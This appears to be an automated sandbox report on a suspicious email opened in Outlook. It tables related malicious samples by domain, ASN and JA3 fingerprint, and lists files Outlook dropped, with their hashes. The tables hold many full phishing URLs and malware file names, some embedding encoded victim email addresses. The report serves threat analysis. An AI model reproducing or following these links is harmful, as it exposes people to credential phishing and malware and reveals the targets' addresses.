sparksavvy.ru	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&url=amp%2F%E2%80%8Bmc%C2%ADgpet%C2%ADro%C2%ADl%C2%AD%C2%AD.%E2%80%8Bco%C2%ADm%2Fauth%2Factive%2FyYJ4sScHtP1uj/YmhhbW1vbmRAb2Zzb3B0aWNzLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	172.67.175.180
	http://google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Bmc%C2%ADgpet%C2%ADro%C2%ADl%C2%AD%C2%AD.%E2%80%8Bco%C2%ADm%2Fauth%2Factive%2FUcAja46fATwsJ/c29saXNzbWFAc2NoYWVmZmxlci5jb20=	Get hash	malicious	Unknown	Browse	172.67.175.180
	https://pub-075542e4e7014d54a8c55d499bcc9631.r2.dev/BookingConfirmation%26~campaign%3DViewTicketInApp%26~tagsBookingConfirmation%26~campaign%3DViewTicketInApp%26~tagsBookingConfirmation%26~campaign%3DViewTicketInApp%26~tagsBookingConfirmation%26~campaign%3DViewTicketInApp%26~tags.html?X893EH729UDYD73GDH73848UHDHNXBX893EH729834938UHDHNXBX893EH7HDHNXBX893EH72938EHDHNXBX893EH72938EHDHNXBX893EH72938EHDHNXBX893EH72938EHDHNXBX893EH72938E293_X893EH729UDYD73GDH73848UHDHNXBX893EH729834938UHDHNXBX893EH7HDHNXBX893EH72938EHDHNXBX893EH72938EHDHNXBX893EH72938EHDHNXBX893EH72938EHDHNXBX893EH72938E293#_eve.la-selve@cevalogistics.com	Get hash	malicious	HTMLPhisher	Browse	104.21.48.11
	hdel.co.kr PURCHASE ORDER.html	Get hash	malicious	Unknown	Browse	172.67.175.180
	roquette.com PURCHASE ORDER.html	Get hash	malicious	HTMLPhisher	Browse	104.21.48.11
cdnjs.cloudflare.com	https://na2.docusign.net/Signing/EmailStart.aspx?a=65ce31e3-0f62-43e8-8a06-1efc3ff79e46&etti=24&acct=f03a97ef-a21a-4b5f-a673-fe222edf542a&er=c4396d2f-541c-4d1d-bd82-7b6b044f29c3	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	Play_Now-(Sonaemc)MOPT.html	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://www.google.com/url?q=https://zyxd.centerspp.com/gBWWy/&sa=D&source=editors&ust=1728569033796392	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://simplexml.federalinvoice.com/uQ3xo/	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://pearl-contol.powerappsportals.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://carexcondoms.com/arull.php?7088797967704b536932307464507a637a4c7a736c4d7a733752533837503155744a31586533634466584277413d1	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://flipsnack.com/BA85A977C6F/oct2024/full-view.html	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://linkpage.bio/verifybusinessaccount1368	Get hash	malicious	Unknown	Browse	104.17.24.14
	VoicePlayback for Olivier.grizel Tessi-solutions.htm	Get hash	malicious	Phisher	Browse	104.17.24.14
	https://www.google.es/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Foilproductionpower.com%2Fddd%2Ff3E2tG5ASlq4OLZ8xJKHkkFY/TExQQG5vdm96eW1lcy5jb20=	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
code.jquery.com	https://na2.docusign.net/Signing/EmailStart.aspx?a=65ce31e3-0f62-43e8-8a06-1efc3ff79e46&etti=24&acct=f03a97ef-a21a-4b5f-a673-fe222edf542a&er=c4396d2f-541c-4d1d-bd82-7b6b044f29c3	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	Play_Now-(Sonaemc)MOPT.html	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://www.google.com/url?q=https://zyxd.centerspp.com/gBWWy/&sa=D&source=editors&ust=1728569033796392	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://link.edgepilot.com/s/66670586/vw0py2v3TkuVLaWS3JAaPg?u=https://bharatgroup.net/	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://simplexml.federalinvoice.com/uQ3xo/	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://pearl-contol.powerappsportals.com	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	http://flipsnack.com/BA85A977C6F/oct2024/full-view.html	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	VoicePlayback for Olivier.grizel Tessi-solutions.htm	Get hash	malicious	Phisher	Browse	151.101.2.137
	https://www.google.es/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Foilproductionpower.com%2Fddd%2Ff3E2tG5ASlq4OLZ8xJKHkkFY/TExQQG5vdm96eW1lcy5jb20=	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://na4.docusign.net/Signing/EmailStart.aspx?a=b4cf6218-13ec-46d9-aa5c-10723ebe7e7f&etti=24&acct=d9c705c1-5012-4d8b-98f5-b9c62798fde2&er=efa4815b-08b1-4fe7-b32f-ac28ff7e2554	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	Fw_ Complete with Docusign_ J929272_SOW Extension_002_09-OCT-24_201415.pdf.eml	Get hash	malicious	Unknown	Browse	51.116.253.168
	original.eml	Get hash	malicious	Unknown	Browse	52.109.76.144
	Play_Now-(Sonaemc)MOPT.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://www.google.com/url?q=https://zyxd.centerspp.com/gBWWy/&sa=D&source=editors&ust=1728569033796392	Get hash	malicious	HTMLPhisher	Browse	13.107.246.44
	https://simplexml.federalinvoice.com/uQ3xo/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://pearl-contol.powerappsportals.com	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://carexcondoms.com/arull.php?7088797967704b536932307464507a637a4c7a736c4d7a733752533837503155744a31586533634466584277413d1	Get hash	malicious	HTMLPhisher	Browse	40.81.24.231
	http://flipsnack.com/BA85A977C6F/oct2024/full-view.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://www.google.es/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Foilproductionpower.com%2Fddd%2Ff3E2tG5ASlq4OLZ8xJKHkkFY/TExQQG5vdm96eW1lcy5jb20=	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	Quarantined Messages(12).zip	Get hash	malicious	Unknown	Browse	52.109.32.97
CLOUDFLARENETUS	Fw_ Complete with Docusign_ J929272_SOW Extension_002_09-OCT-24_201415.pdf.eml	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://na2.docusign.net/Signing/EmailStart.aspx?a=65ce31e3-0f62-43e8-8a06-1efc3ff79e46&etti=24&acct=f03a97ef-a21a-4b5f-a673-fe222edf542a&er=c4396d2f-541c-4d1d-bd82-7b6b044f29c3	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	original.eml	Get hash	malicious	Unknown	Browse	104.18.65.57
	ASmartCore_[1MB]_[unsign].exe	Get hash	malicious	LummaC	Browse	104.21.46.170
	Play_Now-(Sonaemc)MOPT.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Set-up.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://media.thesocialpresskit.com/american-bankers-association/BNAT2024PrintablesPostcard2.zip	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://www.google.com/url?q=https://zyxd.centerspp.com/gBWWy/&sa=D&source=editors&ust=1728569033796392	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	http://braintumourresearch.org	Get hash	malicious	Unknown	Browse	188.114.96.3
CLOUDFLARENETUS	Fw_ Complete with Docusign_ J929272_SOW Extension_002_09-OCT-24_201415.pdf.eml	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://na2.docusign.net/Signing/EmailStart.aspx?a=65ce31e3-0f62-43e8-8a06-1efc3ff79e46&etti=24&acct=f03a97ef-a21a-4b5f-a673-fe222edf542a&er=c4396d2f-541c-4d1d-bd82-7b6b044f29c3	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	original.eml	Get hash	malicious	Unknown	Browse	104.18.65.57
	ASmartCore_[1MB]_[unsign].exe	Get hash	malicious	LummaC	Browse	104.21.46.170
	Play_Now-(Sonaemc)MOPT.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Set-up.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://media.thesocialpresskit.com/american-bankers-association/BNAT2024PrintablesPostcard2.zip	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://www.google.com/url?q=https://zyxd.centerspp.com/gBWWy/&sa=D&source=editors&ust=1728569033796392	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	http://braintumourresearch.org	Get hash	malicious	Unknown	Browse	188.114.96.3
AYSIMATR	https://emp.eduyield.com/el?aid=2idydda0e6c-1865-11ef-80aa-0217a07992df&rid=33766156&pid=771868&cid=497&dest=google.com.////amp/s/codingbeats.com/kaku/qohoc/captcha/bm15ZXJzQHRydXBhcnRuZXJjdS5vcmc=	Get hash	malicious	Unknown	Browse	185.179.26.97
	SecuriteInfo.com.Trojan.DownLoader46.63386.25844.4041.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	188.132.184.24
	HjwYtpeUI9fqZuY.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	5.250.253.66
	RFQ_20240112-876678xls.exe	Get hash	malicious	AgentTesla	Browse	5.250.254.200
	SecuriteInfo.com.Trojan.PackedNET.2591.22896.11490.exe	Get hash	malicious	AgentTesla	Browse	5.250.254.200
	SWIFT_MESAJI_11-01-2024-PDF.exe	Get hash	malicious	AgentTesla	Browse	5.250.254.200
	SecuriteInfo.com.Win32.PWSX-gen.21780.27759.exe	Get hash	malicious	AgentTesla	Browse	5.250.254.200
	https://descuentosrata.com/redirect?url=http://dir.foundation/-4Gr4RAan-y5l-Qw4RAndquQ3Esm3T-d58Kvo-y5	Get hash	malicious	Unknown	Browse	188.132.184.185
	http://dse.foundation/8Kv-d5m3Tho-y5asl-QorP1-Q3Ea-d5nQ3Em3T	Get hash	malicious	Unknown	Browse	188.132.184.185
	HALKBANK.EXE.exe	Get hash	malicious	AgentTesla	Browse	5.250.245.16
CLOUDFLARENETUS	Fw_ Complete with Docusign_ J929272_SOW Extension_002_09-OCT-24_201415.pdf.eml	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://na2.docusign.net/Signing/EmailStart.aspx?a=65ce31e3-0f62-43e8-8a06-1efc3ff79e46&etti=24&acct=f03a97ef-a21a-4b5f-a673-fe222edf542a&er=c4396d2f-541c-4d1d-bd82-7b6b044f29c3	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	original.eml	Get hash	malicious	Unknown	Browse	104.18.65.57
	ASmartCore_[1MB]_[unsign].exe	Get hash	malicious	LummaC	Browse	104.21.46.170
	Play_Now-(Sonaemc)MOPT.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Set-up.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://media.thesocialpresskit.com/american-bankers-association/BNAT2024PrintablesPostcard2.zip	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://www.google.com/url?q=https://zyxd.centerspp.com/gBWWy/&sa=D&source=editors&ust=1728569033796392	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	http://braintumourresearch.org	Get hash	malicious	Unknown	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://na2.docusign.net/Signing/EmailStart.aspx?a=65ce31e3-0f62-43e8-8a06-1efc3ff79e46&etti=24&acct=f03a97ef-a21a-4b5f-a673-fe222edf542a&er=c4396d2f-541c-4d1d-bd82-7b6b044f29c3	Get hash	malicious	HTMLPhisher	Browse	23.60.203.209 40.126.32.138 20.12.23.50
	Play_Now-(Sonaemc)MOPT.html	Get hash	malicious	HTMLPhisher	Browse	23.60.203.209 40.126.32.138 20.12.23.50
	https://media.thesocialpresskit.com/american-bankers-association/BNAT2024PrintablesPostcard2.zip	Get hash	malicious	Unknown	Browse	23.60.203.209 40.126.32.138 20.12.23.50
	https://www.google.com/url?q=https://zyxd.centerspp.com/gBWWy/&sa=D&source=editors&ust=1728569033796392	Get hash	malicious	HTMLPhisher	Browse	23.60.203.209 40.126.32.138 20.12.23.50
	https://clicktime.symantec.com/15tpJCqdM9QTMPCbrFFYy?h=klzqFfVRykrA0KxCmyOSMtGNk2cnn93amKCU2afEZ8c=&u=https://www.tiktok.com/link/v2?aid%3D1988%26lang%3Den%26scene%3Dbio_url%26target%3Dhttps://www.google.ht/url?q%3Dhttps://google%25E3%2580%2582com/amp/s/cli.re/kBNkWr%23a2FyZW4ubWNjcm9ob25AdXJlbmNvLmNvbQ%3D%3D%252F%26opi%3D256371986142%26usg%3DlxfGUQNysmkDx%26source%3Dgmail%26ust%3D2908128326238375%26usg%3DAO2mBxLVnqpOjng75rOWFwZ2mBxLVnqpOqR75	Get hash	malicious	HTMLPhisher	Browse	23.60.203.209 40.126.32.138 20.12.23.50
	https://link.edgepilot.com/s/66670586/vw0py2v3TkuVLaWS3JAaPg?u=https://bharatgroup.net/	Get hash	malicious	Unknown	Browse	23.60.203.209 40.126.32.138 20.12.23.50
	https://simplexml.federalinvoice.com/uQ3xo/	Get hash	malicious	HTMLPhisher	Browse	23.60.203.209 40.126.32.138 20.12.23.50
	http://Whereverhomebe.com	Get hash	malicious	Unknown	Browse	23.60.203.209 40.126.32.138 20.12.23.50
	https://clickproxy.retailrocket.net/?url=https://veritasbd.net//cgibin/bin/philipp.ettle/cGhpbGlwcC5ldHRsZUBid3QtcGhhcm1hLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	23.60.203.209 40.126.32.138 20.12.23.50
	https://pearl-contol.powerappsportals.com	Get hash	malicious	HTMLPhisher	Browse	23.60.203.209 40.126.32.138 20.12.23.50
6271f898ce5be7dd52b0fc260d0662b3	https://na2.docusign.net/Signing/EmailStart.aspx?a=65ce31e3-0f62-43e8-8a06-1efc3ff79e46&etti=24&acct=f03a97ef-a21a-4b5f-a673-fe222edf542a&er=c4396d2f-541c-4d1d-bd82-7b6b044f29c3	Get hash	malicious	HTMLPhisher	Browse	184.86.251.27
	https://www.google.com/url?q=https://zyxd.centerspp.com/gBWWy/&sa=D&source=editors&ust=1728569033796392	Get hash	malicious	HTMLPhisher	Browse	184.86.251.27
	https://videostreamingsettlement.simplurisdev.com/form/choice	Get hash	malicious	Unknown	Browse	184.86.251.27
	https://imago-technologies.com/	Get hash	malicious	Unknown	Browse	184.86.251.27
	COT139562833.ATMetorlogya.xls	Get hash	malicious	Unknown	Browse	184.86.251.27
	PAYMENT APPLICATION.xls	Get hash	malicious	Unknown	Browse	184.86.251.27
	77IyY7nCKB.xls	Get hash	malicious	Unknown	Browse	184.86.251.27
	EDc1DW9OsQ.xlsx	Get hash	malicious	Unknown	Browse	184.86.251.27
	Quote.exe	Get hash	malicious	Remcos	Browse	184.86.251.27
	https://yourferguson.org/court-watch-october-30-2023/?fbclid=IwZXh0bgNhZW0CMTEAAR3dOwpQMI1HpEJMcLfneo2Ce-TuuXHtVI8-78YDrHW9adORVlMEABT0ELU_aem_CL7dDvEuGMkB8YFGhVQWUg	Get hash	malicious	Unknown	Browse	184.86.251.27
3b5074b1b5d032e5620f69f9f700ff0e	https://media.thesocialpresskit.com/american-bankers-association/BNAT2024PrintablesPostcard2.zip	Get hash	malicious	Unknown	Browse	13.107.5.88
	https://www.google.com/url?q=https://zyxd.centerspp.com/gBWWy/&sa=D&source=editors&ust=1728569033796392	Get hash	malicious	HTMLPhisher	Browse	13.107.5.88
	z76ik.exe	Get hash	malicious	MassLogger RAT	Browse	13.107.5.88
	FMAudit.Installer_9652_1238001249.exe	Get hash	malicious	Unknown	Browse	13.107.5.88
	LOI SPECIFIFCATION.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	13.107.5.88
	New Purchase Order Ref#0012573.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	13.107.5.88
	SecuriteInfo.com.Trojan-Ransom.Win32.Zerber.gkca.4990.15640.exe	Get hash	malicious	Unknown	Browse	13.107.5.88
	YyhAkj09dy.exe	Get hash	malicious	AgentTesla	Browse	13.107.5.88
	SecuriteInfo.com.Trojan-Ransom.Win32.Zerber.gkca.4990.15640.exe	Get hash	malicious	Unknown	Browse	13.107.5.88
	Swift Payment.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	13.107.5.88

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	231348
Entropy (8bit):	4.397975041567843
Encrypted:	false
SSDEEP:	3072:KMgnzygrUmiGu2bTqoQ1rt0Fvh8Ua9TSIh:KbhUmi2bGDUa9TSm
MD5:	74E630AAF2BCCAF63223DA1FFE87A6F5
SHA1:	75C707C8463A944831F04B36B37FBBD81A80B480
SHA-256:	13D63CF54EBAEFD8B65047BD75A8B964754AF00EE65A28F2ABCEA405BD54559C
SHA-512:	3667174BDC1DAC5ED6D780EAECD4B7C4201C85014EFFCFA31F059CF5AD73246BC016A8A648D8A942BC88232368D44D06232C277417E1AC3AB1662E4A10C57A54
Malicious:	false
Reputation:	low
Preview:	TH02...... .@.`o-.......SM01X...,...pbRo-...........IPM.Activity...........h...............h............H..h.O........O...h..........\|.H..h\tor ...AppD...h..u.0...0.O....h.7.&...........h........_`.k...h.(.&@...I.+w...h....H...8..k...0....T...............d.........2h...............k..............!h.............. h.M......H.O...#h....8.........$h..\|.....8....."h.>=.....p==...'h..Y...........1h.7.&<.........0h....4.....k../h....h......kH..h....p....O...-h .......t.O...+hY7.&.....O................. ..............F7..............FIPM.Activity....Form....Standard....Journal Entry...IPM.Microsoft.FolderDesign.FormsDescription................F.k..........1122110020000000.GwwMicrosoft...This form is used to create journal entries.........kf...... ..........&...........(.......(... ...@.....................................................................................................................fffffffff........wwwwwwww.p....pp..............p...............pw..............pw..DDDDO..

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	XML 1.0 document, ASCII text, with very long lines (1869), with no line terminators
Category:	dropped
Size (bytes):	1869
Entropy (8bit):	5.087260574964795
Encrypted:	false
SSDEEP:	48:cGA6dyCYtdyr/tdnzymrkSyrVinzyGDSymY9JdycTdSy8fASyr1JnzyxAdyrfMn9:FEbtExd23bI2cb3PEUdboAbX2aEQ2O
MD5:	670492218E08707FF54C447E814822DF
SHA1:	7849F21CDF069AB710F8E712A4F7952E006695E9
SHA-256:	8439DE9E6BD82CF88597E8C904D851D5DBD6ADBB05F3E7D12C10A587C89C9C79
SHA-512:	C6E9596E12DEC04ADE97C7CC90BE30A270C93CD48CC73B70E2352A285DF9828A3E467087E588017F394C45853792CA3EAB3D7746466FEA5AAB3C464F24D36EB2
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?><root><version>1</version><Count>12</Count><Resource><Id>Aptos_26215680</Id><LAT>2024-10-10T16:00:07Z</LAT><key>29939506207.ttf</key><folder>Aptos</folder><type>4</type></Resource><Resource><Id>Aptos_45876480</Id><LAT>2024-10-10T16:00:09Z</LAT><key>27160079615.ttf</key><folder>Aptos</folder><type>4</type></Resource><Resource><Id>Aptos Display_26215680</Id><LAT>2023-10-06T09:55:52Z</LAT><key>23001069669.ttf</key><folder>Aptos Display</folder><type>4</type></Resource><Resource><Id>Aptos Narrow_26215426</Id><LAT>2023-10-06T09:55:52Z</LAT><key>37262344671.ttf</key><folder>Aptos Narrow</folder><type>4</type></Resource><Resource><Id>Aptos Display_26215682</Id><LAT>2023-10-06T09:55:52Z</LAT><key>28367963232.ttf</key><folder>Aptos Display</folder><type>4</type></Resource><Resource><Id>Aptos Narrow_45876224</Id><LAT>2023-10-06T09:55:52Z</LAT><key>24153076628.ttf</key><folder>Aptos Narrow</folder><type>4</type></Resource><Resource><Id>Aptos_

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite 3.x database, last written using SQLite version 3034001, writer version 2, read version 2, file counter 2, database pages 1, cookie 0, schema 0, largest root page 1, unknown 0 encoding, version-valid-for 2
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.09304735440217722
Encrypted:	false
SSDEEP:	3:lSWFN3l/klslpEl9Xll:l9F8E+9
MD5:	D0DE7DB24F7B0C0FE636B34E253F1562
SHA1:	6EF2957FDEDDC3EB84974F136C22E39553287B80
SHA-256:	B6DC74E4A39FFA38ED8C93D58AADEB7E7A0674DAC1152AF413E9DA7313ADE6ED
SHA-512:	42D00510CD9771CE63D44991EA10C10C8FBCF69DF08819D60B7F8E7B0F9B1D385AE26912C847A024D1D127EC098904784147218869AE8D2050BCE9B306DB2DDE
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................K.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-journal

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	0.1384465837476566
Encrypted:	false
SSDEEP:	3:7FEG2l+oGEH/FllkpMRgSWbNFl/sl+ltlslN04l9Xlljvn:7+/lX5Bg9bNFlEs1E39Dn
MD5:	BC533329AE253705B488247FC904E5D8
SHA1:	2C35B201673ADAEC2C48BC918C7B5845C8F7CBE8
SHA-256:	779667784A9F9630BD18CF1BF1C833FD10CF22692920BC7715AC33EFB6F2F057
SHA-512:	59F5CB4BC66B7992981979D74D4E22C3CD30A4760FFB05D0D0A58D22D9BF1BFFF9EADF3C7E88698997C41A337ED6842341E9416588889BC8A6E835C56101A6F9
Malicious:	false
Reputation:	low
Preview:	.... .c.......&.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ ..........................................................................K.................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.04437444944341713
Encrypted:	false
SSDEEP:	3:G4l2Jkn4yhQg/Cl2Jkn4yhQPtWlL9//Xlvlll1lllwlvlllglbXdbllAlldl+l:G4l2w4yhWl2w4yhIML9XXPH4l942U
MD5:	6504FE7A551D48A5199D240C08900D2F
SHA1:	E39669357DFADA6461F8F6AFCF1B4F53C53BBB12
SHA-256:	EF7E1F2E0E2017BF9DCF6F6B0FEA33CCDA46010C4B039F2B8E8BD9DDAB9F8B5A
SHA-512:	C94F1B6AD2DE1E19E194F961F3414348AB8F5431D998C5B30176A168DEA364CDA36ED49412286D5BE7508D202C40119458CDC9043605F78D8C78CD4EF68CBF9A
Malicious:	false
Reputation:	low
Preview:	..-......................T....b.T.-..~Q...(..-......................T....b.T.-..~Q...(........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	modified
Size (bytes):	45352
Entropy (8bit):	0.3953567828934376
Encrypted:	false
SSDEEP:	24:Kg+dQMIzRD6iWLdTyAill7DBtDi4kZERD6DFxqt8VtbDBtDi4kZERD6r:t+dQjeieMAill7DYMeDFxO8VFDYMer
MD5:	F03DA1329D320758D99CEAF5BB012AB3
SHA1:	DD60E2E9EA9DDDE3C3EEBDD17EAEFE24DC8F1C17
SHA-256:	47693CE737D1A49A67A19084D82ADF36FBA48019E34C0564AB399EF9BC7D4C7C
SHA-512:	E664EA1E806FAE57103C3C53E57511F206C45A5AD5F1B34550D1B6DE86A2215674F0D4DD1C523F5E8F14EF044834A4C1861A2FB7CB5AB48046E9598333E6B40A
Malicious:	false
Reputation:	low
Preview:	7....-...........T.-..m;-....\|.........T.-..g<.H.p..SQLite format 3......@ ..........................................................................K.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{CB842198-F03A-4178-B2BC-445B461D801A}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	15940
Entropy (8bit):	3.7550941709250756
Encrypted:	false
SSDEEP:	192:nw4vx6PJIk2lkqmfk6mr4pM9CFC/72aak4mlQkmmPktmtOY8SXyzX+k4m:w4vIJL2pCoXmX
MD5:	C249DF0C993EFD238CB1329B9CB4B8A9
SHA1:	32B2E507407F072B301068FF94F3AF5A28CED8F2
SHA-256:	2103FFDF2C204749B360A79953D281CECD96B4B760D71F51796428CB373AFC7D
SHA-512:	2B1580DD90E507BE3BBBC9FAD45A53051A008BA73C34E1F1A303FB6D117B9F92EABE40276F6527CD54E067BFA54839F9A537910F30707FA7E65621DB282B38C7
Malicious:	false
Preview:	......Y.o.u. .d.o.n.'.t. .o.f.t.e.n. .g.e.t. .e.m.a.i.l. .f.r.o.m. .a.d.m.i.n.@.f.o.r.t.u.n.e.c.r.e.e.k...c.o.m... .H.Y.P.E.R.L.I.N.K. .".h.t.t.p.s.:././.a.k.a...m.s./.L.e.a.r.n.A.b.o.u.t.S.e.n.d.e.r.I.d.e.n.t.i.f.i.c.a.t.i.o.n."...........................................................................................................................................................................................................................................................................................................................$...x...............&...(...`............................................................................................................................................................................................................................................................................................................................................................-D..M.......I:...*...$..$.If........!v..h.#v....:V.......t.....6......5.......4

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1728576006965371300_B8BF6625-96B0-4FA4-BF7A-E3E8BA1A4684.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with very long lines (28742), with CRLF line terminators
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.17953365523074885
Encrypted:	false
SSDEEP:	1536:J7zTSrjZrmTBKlyvXuw7Fjv8Z3RjCFWsHHXv4juXRg1nV1lECFdrYSYb1WxWHc5H:kr1K8lyGyaUKWgOn
MD5:	224BCE23861801953ABF45D0319BF484
SHA1:	E5B188C55FEA2F1809B5B937BBA3875781297CC7
SHA-256:	2E97DA0D05D4FEE5F9BFC99332A861C4312D7981BE1A5F69DF1C4B79FB74EFFA
SHA-512:	010FFA4CC4D9ABF3E18DF77A5B10FF408A9DEF8BA8D51E087D0D6A64FE1ABD0C0E1E8288DBAD876CF7A24A7EBEA395AF232F87D427CA3ADF9181854572A072D3
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..10/10/2024 16:00:06.993.OUTLOOK (0x1AE8).0x1AEC.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Text.GDIAssistant.HandleCallback","Flags":30962256044949761,"InternalSequenceNumber":25,"Time":"2024-10-10T16:00:06.993Z","Contract":"Office.System.Activity","Activity.CV":"JWa/uLCWpE+/euPouhpGhA.4.11","Activity.Duration":19,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.GdiFamilyName":"","Data.CloudFontStatus":6,"Data.CloudFontTypes":256}...10/10/2024 16:00:07.009.OUTLOOK (0x1AE8).0x1AEC.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent 